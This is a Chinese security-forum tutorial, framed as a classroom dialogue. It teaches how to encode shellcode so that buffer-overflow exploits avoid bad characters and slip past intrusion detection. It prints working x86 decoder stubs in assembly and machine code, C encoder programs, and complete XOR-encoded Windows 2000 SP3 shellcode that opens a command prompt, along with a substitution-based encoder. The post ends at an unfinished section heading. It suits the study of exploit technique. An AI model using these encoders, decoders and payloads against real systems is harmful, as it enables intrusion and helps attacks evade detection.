风停之后再扬帆,船绝不会前行。 收藏本站
登陆 / 注册 搜索

阅读: 16.4K   回复: 4

[# 网络安全] ShellCode变形编码大法

小执念 古黑浩劫论坛大牛 2015-12-28 13:54 |显示全部楼层

可遇不可求的事:故乡的云,上古的玉,随手的诗,十九岁的你。

管理员
  老师进入教室后说道:“时间过得真快呀,不知不觉已开课半期了,下面我们小结一下吧!”
  “哦?要半期考试么? ”大家紧张的说。

  “呵呵!你们说呢?”
  “哎哟,就别考了吧!我们这么认真的,没有必要吧? ”同学们小心翼翼的说。


  “那这样,征求一下大家的意见。大家举手表决,同意半期考试的请举手!”


  台下你看我,我看你,都没人动。然后大家都噗哧的笑了起来。


  “好,大家一致通过。不进行考试!”老师也笑了。


  “太好了!”
  宇强对旁边的小倩说:“有人举手才奇怪呢!”
  “是啊!”,小倩笑得合不拢嘴!
  “呵呵,可以不考试,但复习总结还是要做的。”老师说,“这半期来,我们主要学习过什么知识呢?”

  玉波说道:“第一是Windows下堆栈溢出的利用。包括堆栈溢出原理、定位和利用的方法。”


  “第二是ShellCode的编写,从易到难的讲了开DOS窗口、加用户、网络Shell等ShellCode的实际编写。” 古风接过话题。
  “第三就是Windows下堆溢出的利用。”宇强补充道。

  小倩想了想说道:“还讲过一系列实际漏洞的利用编写!在实际中利用最有意思,也提高得最快!”


为 什 么 要 编 码

  宇强问道:“我们现在有了编写Exploit的思路,也有了编写通用ShellCode的方法,也能写出一些成功的攻击程序。但对有些目标程序,按照漏洞公告的提示,编写出了攻击程序却没有效果,这是怎么回事呢?”

  “是啊! ”其他人也附和着。
  “对,这是个很经典的问题。”老师说道,“我们首先来分析一下吧!”

Exploit 失 败 原 因 分 析

  “攻击失败会有很多原因,我们不考虑对方打了补丁,没有漏洞的情况;也不考虑网络通信问题(如防火墙阻断等)。只从编写Exploit的技术角度出发,分析攻击程序会失败的原因。”

  “我们编写攻击程序时有三大步骤,有谁说说是哪三步呢? ”老师问道。
  “第一、覆盖点的定位;第二、ShellCode的编写;第三、跳转到ShellCode中。”大家都烂熟于胸,一口便答了出来。


  “很好!”老师满意的说,“我们就根据这三点来分析攻击程序的失败原因及造成原因吧!”

  失败原因一、覆盖点偏差
  “这有可能是漏洞公告上分析的版本和大家实际攻击的版本不同造成的;也有些软件由于安装目录不同, 其漏洞的覆盖点位置也不同。还有,大家在写Exploit时,有可能自己数错了覆盖的字符个数,这也是初 学者经常犯的错误。”

  “嗯!有时候累了就是容易数错啊!”同学们说道。


  “要解决这个问题只有仔细些。”老师说道,“认真看清楚公告的内容,数清楚覆盖字符的个数。”

  失败原因二、错误的跳转地址
   “有些公布出来的程序,为了避免滥用,给的只是针对某个系统的跳转地址,甚至有的程序连地址都没有, 只有0xAAAAAAAA或0xXXXXXXXX这样的形式在覆盖点位置,这要我们自己去修改。”

  “前面在讲堆溢出时也说过,有时地址是正确的,但所属的dll没有被加载,这样地址所在的地方根本没有指令,也就没有我们想要的JMP ESP或CALL [esi+0x4c]啦!”

  “也有这种情况,有时候昏头了,我们把0x7FFA4512在字符串里直接写成‘\x7F\xFA\x45\x12’。”老师笑道,“但这是错误的!应该是‘\x12\x45\xFA\x7F’,这一点大家要小心。”

  小知识:为什么 0x7FFA4512 要写成 “\xl2\x45\xFA\x7F”
  在Intel系列的计算机下,数据的排列规则是:高位数据在高地址,低位数据在低地址。7F是最高位数据,所以要放在最高地址一就是“ \x12\x45\xFA\x7F”的最后;而12是最低位数据,因此要放在最前面——最低地址。

  失败原因三、ShellCode被截断或改写
  老师强调道,“这是最常见的问题,随时都可能遇到。 “哦? ShellCode被谁改写了呢? ”玉波问道。


  “被目标程序自己! ”老师说,“任何目标程序都有一些特殊字符不能使用,比如IIS里面不能有0x20, 如有,就会把后面的数据截断;而Cmail的漏洞不能有大写字母,如有,会自动转为小写字母。这样,我们的ShellCode有可能被截断或替换,当然就完不成攻击功能了。”

  “无论是覆盖地址错误,还是ShellCode被改变,表现出来的现象都是不能完成我们想要的功能。”老师说道,“在这种情况下,我们就需要知道究竟是覆盖地址错误了,还是ShellCode被改变了?”

  “如何判断呢?”
  “要确定是哪种原因,有一个比较菜鸟的办法:就是在ShellCode的最前面加上‘\xEB\xFE’,即JMP - 1的机器码。这样构造一个死循环。”

  “哦!我们在堆栈溢出利用时,将JMP ESP改为JMP EBX方式,用的也是\xEB\xFE来寻找异常点的啊!” 宇强说道。 “是啊!可不要小瞧了它,在调试中是很有用的。”老师说道,“我们运行写好的Exploit攻击程序,如果返回地址正确,就会跳入‘\xeb\xfe’这句死循环中,我们按Ctrl + D调出SoftIce,就会发现系统一直陷入这句指令不走了。然后对照跟在后面的ShellCode,看其是否和我们编写的一样,这样比较容易发 现问题。”

  “如果发现没有陷入‘\xeb\xfe’这句死循环,可以肯定覆盖的地址是错的,需要重新定位覆盖点,或换成通用的覆盖地址。”


  “而进入了‘\xeb\xfe’死循环,那么我们的苦力活就来了,要一个字节一个字节地同原ShellCode核对, 直到发现是哪个字节被改变了。”

  “哦,这个工作我喜欢! ”古风乐呵呵地说,“就是核对内存数据嘛!像‘大家来找茬’游戏一样,我可是高手哦!”

  “好啊,以后像什么劈柴之类的苦力活就交给你啦!”玉波狡黯地说,“我可不擅长这类工作。”

  “好了,我举个亲身例子吧,”老师说道,“我最早在测试Foxmail漏洞时,就是用该方法来发现别人程序的返回地址在自己机器上是无效的,溢出后进入不了‘\xeb\xfe’这句死循环,之后我就换了一个返回地址,终于可以进入‘\xeb\xfe’ 了,但还是完成不了功能。然后我就对照ShellCode,发现原来是ShellCode 中的7’被替换了。知道问题就好办了,换了一个符合要求的就0K 了。”

  “在调试RtlAllocate堆溢出漏洞时,我也是这样发现user32.dll根本没有加载,因此就没有call [esi+0x4c]的指令了。所以我提醒大家要先LoadLibrary(〃user32.dll〃)加载user32.dll,这样才能利用 成功。”


  大家听得津津有味。


  “有时经验是可遇不可求的,所以这里花点时间讲,希望对大家有用。 “嗯,对我们很有帮助啦!收下了!”同学们说道。
“哈哈,好的!当Exploit失败,是因为ShellCode里不能有某些字符时我们就需要对ShellCode进行编码变换。”

ShellCode 编 码 的 用 处

  避免截断
  “我们对ShellCode编码的第一个用处是避免ShellCode里出现‘\x00’,从而被截断。”老师说道。


  “这里再说一次,字符串是以ASCII码‘\x00’为结束标志的。当我们定义字符串时,编译器会自动在末 尾添加一个‘\x00’。比如 char name[] = ’ww0830’,其实就是 char name[] = ’ww0830\x00’。”

  “而那些Strcpy、Strlen等字符串操作函数,是把‘\x00’作为字符串的结束标志。”老师说道:“如果 我们的ShellCode中有‘\x00’,那很显然,目标程序用strcpy进行数据拷贝时,就会在ShellCode中的 第一个‘\x00’处结束。这样,我们的ShellCode就不完整,实现不了我们想要的功能。”

  “注意,char name[] =’ww0830’ 里面的 ‘0’ 和 ASCII 码‘\x00’ 是不一样的。‘ww0830’ 里的 ‘0’ 对应的ASCII码是‘\X60’,不会被截断。这是初学者常见的问题。”

  “哦!原来是这样啊!以前一直有点迷糊! ”台下有人说道。
  “所以,如果ShellCode中有‘\x00’,那我们肯定需要把它去掉,方法是对ShellCode进行编码。但编 码不仅仅是这个作用,还有其他功能。”

   符合目标程序的要求
  “我们对ShellCode编码的第二个用处就是使其符合目标程序对字符的规范。”老师说道。
  “比如,攻击Foxmail的ShellCode里不能有斜线,即‘/’,攻击IIS的ShellCode里面不能有空格,即 ‘\x20’。所以对不同的目标程序,对ShellCode的要求也不同。我们也需要通过编码来避免。”

  “如果说编码避免‘\x00’是ShellCode的共性,那么避免目标程序的特殊字符要求就是个性了。”
  “共性,个性,那还有特性吗? ”小倩问道。
  “当然有啊,我们还可通过给ShellCode编码,使其突破IDS! ”

  突破IDS
  “我们对ShellCode编码的第三个用处,就是使其突破IDS的探测! ”老师说。


  小知识:IDS简介
  IDS (intrusion detection system)入侵检测系统是种新兴的、但仍在继续发展中的技术。或者监测主机日志、进程、会话、以及系统文件的更变,或者监测主机/网络的通信信息,以发现正在发生的入侵行为。其工作流程大致分为以下几个步骤:信息收集、信号分析、模式匹配、统计分析、实时记录、报警或 有限度反击。IDS的根本任务是对入侵行为作出适当的反应,这些反应包括详细日志记录、实时报警和防 火墙联动,甚至作有限度的反击等。

  “所以,我们对ShellCode编码,可以在一定程度上躲开IDS的探测,达到攻击的效果。

简 单 的 编 码——异 或 大 法

  “好了,说了怎么多,我们还是来看看编码的具体实现吧! ”老师说,“有多种方法可以对ShellCode进行编码。我们一个个的来探究吧!”

  “我会通过很简单的讲解和实例来说明思路和方法!首先看最简单、常用的方法一xor大法。”

原 理 —— 异 或 不 变

  “xor是指异或,异或的运算规则是相同为0,不同为1。因为在二进制条件下,每位的取值只有0或1两 种,运算的结果如下图。”

ShellCode变形编码大法 QQ截图20151228112904.png


  “这里只是0或1,如果是比较大的数呢? ”古风不解的问道。

  “你的意思是像10 xor 7这样,不仅是二进制条件下的运算吧? ”老师说道,“xor就会先把10和7转化成二进制形式,然后按照上面的规则对每一位进行运算。”

  “比如10 xor 7,就会先转化成二进制数,10=(1010)B; 7=(0111)B;然后每一位对应异或。”
  从低位到高位,运算依次就是0 xor 1=1; 1 xor 1=0; 0 xor 1=1; 1 xor 0=1。如下图。

ShellCode变形编码大法 QQ截图20151228112916.png


  “所以,10 xor 7=(1010)B xor (0111)B=(1101)B=13。” 老师写出了答案。 “哦,原来是这样运算啊!怎么用于编码呢?”

  “根据运算规则,对于某个值X,我们选择任意密钥Key,都有如下等式成立。”

X xor Key=Z Z xor Key=X ====> X xor Key xor Key=X



  “即,一个值对同一个数异或两次后,得到的结果为原值。”老师解释道。

  “抽象啊 ......“

  举个例子吧!比如10 xor 7 xor 7。刚才我们已经推出10 xor 7=13;如果再次异或,就是13 xor 7,又恢复了原来的值10。计算过程如下图。”

ShellCode变形编码大法 QQ截图20151228112924.png


  “哦,是这样啊!是不是我们选一个key,对ShellCode进行两次xor运算,然后对它进行编解码呢?” 同学们问道。


  “嗯,就是这样的。”老师回答道,“确切的说,我们选一个key,编码是将ShellCode和这个key作一 次xor运算,得到enShellCode;解码·······大家想想?”

  “那解码就是enShellCode和key再作一次xor运算,又重新得到ShellCode。”小倩高兴的说。

  非常正确,我们来看看如何实现吧!

编 码 —— 异 或 97

“有了思路,算法和实现就很简单了。我们把ShellCode数组里的每一个字符ShellCode与某一密钥Key 作异或,就得到了编码后的enShellCode,保存在enShellCode数组中。”

  “在C语言中,异或操作符是‘"’,这里我们选Key为0x97。如果ShellCode里面有‘0x00’,和0x97 异或后,就会变为0x97,编码后的enShellCode就不会被截断了。”

  “那如果ShellCode中有0x97呢?岂不是和Key异或反而变为0,被截断了? ”宇强想得很远。


  “这个完全有可能!那时我们就只能把Key改成其他值试试了。”老师说道,“思路都是一样的,我们看看编码代码吧!”

[mw_shl_code=c,true]#include <string.h>
#include <stdio.h>
#define KEY 0x97
unsigned char ShellCode[] = "\x41\x00\x42\x43"; //含有\x00的ShellCode
int main()
{
int i;
int nLen;
unsigned char enShellCode[500]; //编码后的enShellCode
nLen = sizeof(ShellCode)-1; //获得ShellCode的长度
for(i=0; i<nLen; i++)
{
enShellCode = ShellCode ^ KEY; //对每一位ShellCode作xor key编码
printf("\\x%x-",ShellCode);
printf("\\x%x ",enShellCode); //打印出效果
}
return 0;
}[/mw_shl_code]

  “这里我们测试用的ShellCode中含有0x00,但编码后得到的enShellCode就不会有了。我们运行,其效果如下图。”

ShellCode变形编码大法 QQ截图20151228112936.png


  “0x41变为d6, 0x00变为97!果然达到效果了!”同学们说道。 “明白了编码,大家就来看看解码吧!”


解 码 —— decode 程 序

  “编码之后我们得到了 enShellCode;还需要一段解码程序decode,让编码后的enShellCode还原成原来 的ShellCode,然后跳过去执行。有了 decode和enShellCode,我们把decode放在前面,enShellCode跟 在后面。如下图。”

ShellCode变形编码大法 QQ截图20151228112941.png


  “当然,decode和enShellCode里面不能有非法字符,否则变换就失去了意义。”老师说道,“根据上面的分析,我们只需将enShellCode里面的字符再异或编码用的Key就可以了,这里还是0x97。”

   “decode实现的汇编代码如下:”

jmp decode_end //为了获得enShellCode的地址
decode_start:
pop edx // 得到enShellCode的开始位置 esp -> edx
dec edx
xor ecx,ecx
mov cx,0x200 //要解码的 enShellCode长度,0x200应该足够
decode_loop:
xor byte ptr [edx+ecx], 0x97 //因为编码时用的Key是0x97,所以解码要一样
loop decode_loop //循环解码
jmp decode_ok //解码完毕后,跳到解码后的地方执行!
decode_end:
call decode_start
decode_ok: //后面接编码后的enShellCode[mw_shl_code=applescript,true][/mw_shl_code]


  “得到decode的机器码后,我们把enShellCode跟在后面就可以了。”老师指着程序说 。

  “理解起来还是有点困难啊! ”同学们面带难色。
  “嗯,我们一起来过一遍吧!”
  “首先,以下代码段的作用是定位enShellCode的位置

jmp decode_end
decode_start:
pop edx
……
……
decode_end:
call decode_start

  “如何定位的呢? ”大家有点奇怪。


  “Call的功能大家还记得吧? call decode—start会完成两个功能:push EIP,JMP decode—start, 即先保存下一句指令的地址,然后跳到decode—start处执行。“

  “而call decode—start后面紧跟enShellCode,所以push EIP就会把紧跟后面的enShellCode的地址 保存在堆栈中,然后跳到decode—start处执行。”

  大家点点头。

  “而在decode—start处,马上pop edx,就会把保存的EIP (其实就是enShellCode的地址)赋给edx, 这样edx就是enShellCode的地址了。示意图如下图。”

ShellCode变形编码大法 QQ截图20151228112950.png


  “哦!原来这样获得enShellCode的地址啊!”大家恍然大悟。


  “这是种动态定位地址方法,很多地方都有使用。”老师说道,“我们继续往下看。”

decode_loop:
xor byte ptr [edx+ecx], 0x97 //因为编码时用的Key是0x97,所以解码要一样
loop decode_loop //循环解码

  “ xor byte ptr [edx+ecx], 0x97 就是对 enShellCode 解码——异或 0x97;而 loop decode_loop 是一个循环,功能是ecx减一,如果ecx不为0,就跳到decode_loop继续执行。这样,我们就可解码ecx这 么多个字节,这里ecx赋成的是0x200 (500多个字节),一般的ShellCode都应该够了。”

   “看来解码的关键就是这里啊!”

  “是的,最后jmp decode_ok是跳转到复原的ShellCode中执行,这样就完成了 decode的功能。”


  “哦,明白了!”


  “好了,大家清楚了流程和思路,我们就提取出decode的机器码吧!”


  “这种活就不要和我争了,我来! ”古风争先恐后的说,“在VC里面加上‘_asm’关键字,然后按F10 进入调试状态,选择‘disassemble’和‘Code Bytes',就会出现汇编对应的机器码,如下图。我们 把它们抄下来就可以了。”


ShellCode变形编码大法 QQ截图20151228113000.png


  “最后得到decode的代码为如下:”古风抄完后得意的说道。

decode[] =
“\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x00\x02”
“\x80\x34\x0A\x97\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF”

  “不错! ”老师说,“我们用一个实际例子检验看看!”

实 例——异 或 DOS 窗 口 程 序

  “我们还是以Win2000中文版SP3下的开DOS窗口的ShellCode为例。大家应该很熟悉了吧?原来的 ShellCode 如下:”

ShellCode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC
6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //SP3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //SP3 system的地址0x7801afc3
"\xFF\xD0"

“我们先对ShellCode进行编码,异或0x97,程序为xorCMD.cpp, 生成规则格式,执行效果如下图。

ShellCode变形编码大法 QQ截图20151228113110.png


  “把屏幕上打印出的代码粘贴下来,得到编码后的enShellCode,如下:

enShellCode[] =
"\xc2\x1c\x7b\xa4\x57\xc7\xc7\xc7\x51\xd2"
"\x63\xda\x51\xd2\x62\xc4\x51\xd2\x61\xc1"
"\x51\xd2\x60\xd4\x51\xd2\x6f\xc5\x51\xd2"
"\x6e\xc3\x51\xd2\x6d\xb9\x51\xd2\x6c\xd3"
"\x51\xd2\x6b\xdb\x51\xd2\x6a\xdb\x2d\xf3"
"\x8\x71\xe0\xc5\x1a\xd2\x63\xc7\x68\xc2"
"\x67\xc2\x1c\x7b\x14\x7b\xbb\x2f\xf4\xf8"
"\xfa\xfa\x1e\xd2\x63\x2f\xf6\xf9\xf3\xb9"
"\x1e\xd2\x6f\x2f\xf4\xf8\xfa\xb5\x1e\xd2"
"\x6b\xa4\x45\x1f\xc2\x68\x1a\xd2\x63\xc7"
"\x2f\x54\x38\x96\xef\x68\x47"

  “再把我提取出的decode放在前面就ok 了! ”古风说道。
  “好,我们把它合起来就是这样的:”

AllShellCode[] =
//先是decode
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x00\x02"
"\x80\x34\x0A\x97\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"
//后面跟enShellCode
"\xc2\x1c\x7b\xa4\x57\xc7\xc7\xc7\x51\xd2"
"\x63\xda\x51\xd2\x62\xc4\x51\xd2\x61\xc1"
"\x51\xd2\x60\xd4\x51\xd2\x6f\xc5\x51\xd2"
"\x6e\xc3\x51\xd2\x6d\xb9\x51\xd2\x6c\xd3"
"\x51\xd2\x6b\xdb\x51\xd2\x6a\xdb\x2d\xf3"
"\x8\x71\xe0\xc5\x1a\xd2\x63\xc7\x68\xc2"
"\x67\xc2\x1c\x7b\x14\x7b\xbb\x2f\xf4\xf8"
"\xfa\xfa\x1e\xd2\x63\x2f\xf6\xf9\xf3\xb9"
"\x1e\xd2\x6f\x2f\xf4\xf8\xfa\xb5\x1e\xd2"
"\x6b\xa4\x45\x1f\xc2\x68\x1a\xd2\x63\xc7"
"\x2f\x54\x38\x96\xef\x68\x47"

  “好,我们来验证一下ShellCode的功能吧! ”老师说。


  “好的,我来!”古风生怕别人抢了他的功劳,边组合边说,“用前面教过的验证方法把上面那个数组用 ((void(*)(void)&AllShellCode))强行转换为函数来调用。

  “执行看看呢? ”老师说道。
  “好哩!编译、执行,如下图。”

ShellCode变形编码大法 QQ截图20151228113126.png


  “哈哈,成功了! ”古风得意的说。
  “但是,”老师连忙提醒大家,“我们的解码代码decode首先要自己符合规范,但这里?”


  “哎哟! decode里面的第9个字节还是00呢! ”眼尖的女生叫了起来。


  这下台下炸开锅了,“decode本身还不合法呢!”


  古风的脸刷得一下红得像个大苹果。


  小倩悄声对宇强说:“怎么会这样啊?”
  宇强小声的回答:“应该可以解决的吧?看看老师怎么说。”


  老师笑了笑:“我只是想提醒大家,写ShellCode时一定要仔细。这里的00很好解决,一会儿再说,我们先总结一下xor方法的优缺点。”

所 长 所 短

  “Xor大法是最早使用同时也是现在最常见的编码方法。”老师总结道,“它最大的好处是编码和解码都比较简单,而且也可以避开一定的字符,比如ASCII为0的字符,用Xor方法经过编码后就会变成其他的 值,从而避免被截断。”

  “该方法也有一定的适应性,比如刚才宇强同学说的,ShellCode里面如果有0x97,异或Key = 0x97,正 好变为非法的0;那我们还可尝试改变Key的值,直至完全合法为止。”

  “嗯,是啊! ”大家领会到了。

  “当然,这种方法的缺点也很明显,当限制字符较多或限制字符是个较大范围时,那很有可能找不到合适的Key来符合限制要求。在这种情况下,我们就需用其他算法来实现编码和解码了。”

  古风很郁闷的问道:“优缺点都明白了,但刚才decode代码本身还有0x00呢,怎么解决呢?”

  “关键是要知其然,更要知其所以然。真正清楚后,解决起来就简单了。”

简 便 的 变 形——微 调 法

  “如果ShellCode只是偶尔几个字符出现了问题,我们就不必盲目的改变Key的值,可能会越改越糟。甚至,解码代码本身就有非法字符,就像刚才古风同学提取的decode—样。因此,我们改变Key的值也没有用处。”

  古风郁闷极了。

  “那咱办了? ”台下问道。
  “此时我们要想办法对代码进行小量微调,即使用微调法!”

变 形 的 原 理

  “微调法就是对不合要求的字符进行等价指令变换。比如,IIS漏洞里不能有0x20,那么对指令moveax, 20h就可改为mov eax, 24h; sub eax, 04h ;其效果是一样的,都是eax减去0x20,但避免了出现0x20。”

  “微调法原理就是在不改变指令功能的情况下个别改变使用的代码。这种等价变换法对有少量字符限制的情况还是比较实用的。”老师说道,“我们可用这种方法解决刚才decode的问题。”

完 善 的 DOS 窗 口 程 序

  “大家先看看刚才decode里面的0x00是怎样出现的。”老师提醒道。

  “哦!”古风叫了起来,“是mov ecx,0x200那句指令出现的! 0x200就是0x0200,那儿有个零。”

   “对!我们mov ecx,0x200 ,就是把ecx赋成0x200,用来指明enShellCode长度是0x200。”老师说。

   “哦!我们把它变为0x201就行了!”这下大家都明白了。

  “是啊!我们把0x200改成0x201,不就没有0x00 了吗?重新把decode和ShellCode合起来,得到 decodeAndenShellCode2。 ”

  大家嚷了起来:“快试一下效果啊!”

  “0K!编译、执行,弹出我们的DOS对话框了!如下图。”

ShellCode变形编码大法 QQ截图20151228113140.png


  古风懊恼的说:“我怎么这么笨啊!”
  “不,这只是一个分析是否彻底的问题。在学习上,大家一定要脚踏实地,把问题真正研究透。对于缓冲区溢出编程来说,更是态度决定一切!清楚了吗?”

  “清楚了!”同学们响亮地答道。
  “好,大家先休息一下,下节课我们继续深入探讨。”

直 接 替 换 法

  课间休息时,宇强和小倩聊了起来。宇强心里乐开花了:真是近水楼台啊……
  小倩说:“看来什么事情都要知其原因才有意义啊!”

  “是啊!记得小时候老师布置“一件趣事”的作文,我看同桌写的是给金鱼作手术,觉得很有趣,也就模仿写了一篇。那个时候我连金鱼是什么样儿都不大清楚,结果出丑了,运气也不好,大家交叉改作文,我的那篇被老师抽到上台念出来,结果被大家狂笑,念到一半,老师就说不用念了……”

  “哈哈……”小倩被逗乐了。
  “不能怪我,小时候我太笨了,记得小学2年级时有篇课文,大意是教室的桌子脚断了,第二天却好了。 老师问小明,小明说不是他修的;老师问小华,小华也说不是他修的;老师说,奇怪,难道是桌子自己好 的吗?课文就完了。你明白什么意思吗?”

  “就是做好事不留名嘛! ”小倩说道。
  “是啊!老师当时让读三遍课文,让家长签字。但我读了三遍,居然还没弄清楚‘桌子脚’是什么意思。 直到5年级重读课文时才突然明白!”

  “不会吧,小时候你这么笨啊!一点都不像现在的你。”
  “什么啊,这说明我小时候把聪明都存起来了,现在才用。”


  “晕哦……”小倩的腰都笑弯了。{:4_102:}

  此时老师在台上说道:“好了,大家安静,我们继续上课。”

替换的思想

  老师说:“刚才的异或法,如果编码后的enShellCode还有非法字符,我们就只能改变Key,重新试一次; 但这样有可能又在另外的位置出现非法字符,很麻烦!”

  “是啊,是个问题。”同学们点点头。

  “我们可以加以改进!在编码时先对每个字符都进行异或编码,如果某个字符异或后还是非法字符,则再单独对该字符进行处理,变换成符合要求的字符。”

  “哦?单独处理? ”同学们感兴趣的说道。
  “对,这就是直接替换法。”老师解释说,“单独对字符处理的方法很多,但关键是大家要懂得这个思想。”

  小倩悄悄对宇强说:“看,老师一再强调理解能力也! 宇强郁闷的说:“我知道啊,你什么意思嘛……”

  “嘿嘿! ”小倩笑而不道。

  “好,你等着看我超强的理解能力!”

  此时老师在台上说:“我们来看看如何实现吧!”

编 码 C 程 序

  老师说道:“这里用的方法,是将ShellCode的每个字符‘ShellCode’先和Key作异或得到temp,如果合法,就直接将temp保存在‘enShellCode’当中;如果不合法,则将‘enShellCode’存为‘0’,而把enShellCode[i+l]存为temp+ ‘0’。算法示意图如下图。”

ShellCode变形编码大法 QQ截图20151228113153.png


  “那么,‘0’是个标志? ”宇强问道。

  “对,当然,我们也可把‘0’换成其他的合法字符。解码时遇到标志字符时(这里是‘0’)就知道后面一位才是真正的ShellCode,要作一定变换才可恢复原来的值。”

  “我们来看看程序DirectExchange.cpp吧!懂得了思路,也比较简单。”

[mw_shl_code=c,true]#include <string.h>
#include <stdio.h>
#define KEY 0x97
unsigned char ShellCode[] = "\x41\x00\x42";
int main()
{
int i, k;
int nLen;
unsigned char temp;
unsigned char enShellCode[500]; //编码后的enShellCode
nLen = sizeof(ShellCode)-1; //获得ShellCode的长度
k = 0;
for(i=0;i<nLen;++i)
{
temp = ShellCode^KEY; //先异或KEY
//对一些可能造成shellcode失效的字符进行替换
if(temp<=0x1f|| temp=='.'|| temp=='/'|| temp=='0'|| temp=='?')
{
enShellCode[k]='0';
++k;
temp+=0x31;
}
enShellCode[k]=temp; //保存在enShellCode中
++k;
}
//格式化打印enShellCode
printf("\"");
for(i=0; i<k; i++)
{
if(i%10 == 0 && i!=0)
printf("\"\n\"");
printf("\\x%x",enShellCode); //将编码后的enShellCode打印出来
}
printf("\"\n");
return 0;
}[/mw_shl_code]
解 码 汇 编

  “清楚了编码方法后,解码思想也就很容易理解了。解码就是判断enShellCode的每个字符,如果不是‘0’, 就直接异或Key恢复回去;如果是‘0’,就把后面的那个字符减去‘0’再异或Key,这样就可恢复以前 的ShellCode。”老师说得很快,“我们边看代码边理解思路吧!”

  老师打出如下的解码汇编exchangeDecode.cpp:

[mw_shl_code=c,true]jmp decode_end
decode_start:
pop edi
push edi
pop esi
xor ecx,ecx
mov ecx,0x101 //要解码个数
Decode_loop:
Lodsb //[esi] -> eax
cmp al,0x30 //判断是否为标志‘0’
jz special_char_clean //如果是,就跳去特殊字符处理
store: //保存
xor al, 0x97 //异或KEY = 0x97
stosb //保存解码后的ShellCode
loop Decode_loop
jmp decode_ok
special_char_clean: //特殊字符处理
lodsb //读后一位字符
sub al,0x31 //把后一位字符减去0x31,就恢复原来的值
jmp store
decode_end:
call decode_start
decode_ok: //其余真正加密的Shellcode代码会连接在此处[/mw_shl_code]

  “首先还是一样,”老师说道,“如下代码是定位enShellCode位置。在前面异或大法里讲过,大家翻翻笔记就清楚了。”

[mw_shl_code=c,true]jmp decode_end
decode_start:
pop edi
……
……
decode_end:
call decode_start[/mw_shl_code]


  “接下来的代码是把解码的个数赋给ecx,解码一个字节,ecx就减1,直至ecx减为0,就表示解码结束 了,跳到还原后的ShellCode中执行。”

[mw_shl_code=c,true]xor ecx,ecx
mov ecx,0x101 //要解码个数[/mw_shl_code]

  “然后,如下代码用于判断是否为标志,如果是,就不管标志,去处理后面一个字符一一减去0x31,恢复原来的值。”

[mw_shl_code=c,true]cmp al,0x30 //判断是否为标志
jz special_char_clean //如果是,就跳去特殊字符处理
……
special_char_clean: //特殊字符处理
lodsb //读后一位字符
sub al,0x31 //把后一位字符减去0x31,就恢复原来的值[/mw_shl_code]

  “最后,如下代码就是异或Key,恢复成原来的ShellCode并保存。”

[mw_shl_code=c,true]xor al, 0x97 //异或KEY = 0x97
stosb //保存解码后的ShellCode[/mw_shl_code]


  “读程序,一定要带着思路去理解。”老师再次强调。
  “嗯,我现在清楚了! ”宇强对小倩说。


  “好了,我们用直接替换法来对开DOS窗口的程序进行变形,看看编码程序和解码程序是如何使用的! 老师说道。


直 接 替 换 DOS 窗 口 程 序


“首先,我们编码。还是用Win2000中文版SP3的开DOS窗口程序。”老师说道,“编码程序为 DirectExchageCffi.cpp,执行效果如下图。”

ShellCode变形编码大法 QQ截图20151228113206.png


  “哦,我们把编码后的enShellCode直接粘贴下来就可以了。有了自动化的打印程序,好方便啊! ”大家都感叹道。
  “嗯,这样得到的enShellCode为:”

[mw_shl_code=c,true]enShellCode [] =
"\xc2\x30\x4d\x7b\xa4\x57\xc7\xc7\xc7\x51"
"\xd2\x63\xda\x51\xd2\x62\xc4\x51\xd2\x61"
"\xc1\x51\xd2\x60\xd4\x51\xd2\x6f\xc5\x51"
"\xd2\x6e\xc3\x51\xd2\x6d\xb9\x51\xd2\x6c"
"\xd3\x51\xd2\x6b\xdb\x51\xd2\x6a\xdb\x2d"
"\xf3\x30\x39\x71\xe0\xc5\x30\x4b\xd2\x63"
"\xc7\x68\xc2\x67\xc2\x30\x4d\x7b\x30\x45"
"\x7b\xbb\x30\x60\xf4\xf8\xfa\xfa\x30\x4f"
"\xd2\x63\x30\x60\xf6\xf9\xf3\xb9\x30\x4f"
"\xd2\x6f\x30\x60\xf4\xf8\xfa\xb5\x30\x4f"
"\xd2\x6b\xa4\x45\x30\x50\xc2\x68\x30\x4b"
"\xd2\x63\[/mw_shl_code]

  “大家注意了,”老师提醒道,“比我们直接异或得到的enShellCode多了14个字节。”

  “真的啊! ”大家翻了下前面的笔记说道。
  “这是因为有14个字节不合要求,编码时就会将其直接替换。大家可以看到,enShellCode里有14个‘\x30’ 这样的标志。”

  “是啊! ”同学们一下明白了,宇强说道:“ ‘\x30’后面才是真正的ShellCode变换来的啊!”
  “是的。我们再看看decode吧!把exchangeDecode.cpp编译,进入调试状态,将汇编对应的机器码抄下 来。这个方法讲过多次了,得到的decode代码如下:”

[mw_shl_code=c,true]decode[] =
"\xEB\x1B\x5F\x57\x5E\x33\xC9\xB9\x01"
"\x01\x00\x00\xAC\x3C\x30\x74\x07\x34"
"\x97\xAA\xE2\xF6\xEB\x0A\xAC\x2C\x31"
"\xEB\xF4\xE8\xE0\xFF\xFF\xFF";[/mw_shl_code]

  “我们再把decode和enShellCode合起来测试。构造得到over_exchange.cpp,运行效果如下图,成功! ”

ShellCode变形编码大法 QQ截图20151228113217.png

直 接 替 换 法 的 优 缺 点

  介绍完后,老师总结道:“该方法十分巧妙,灵活运用可解决很多字符限制的问题,比如对Cmail就可把不合规范的大写字母减去一个值变成小写字母,当然,在前面要放上一个标志;解码时看见这个标志,就把后面的字母加上那个值,从而得到了恢复。”

  “但decode的代码本身需要是合法字符。如果有些不符合要求的字符,可采用微调的方式,使其符合限制条件。如果微调无效,可能就需要采用其他算法了。”

字 符 拆 分 法

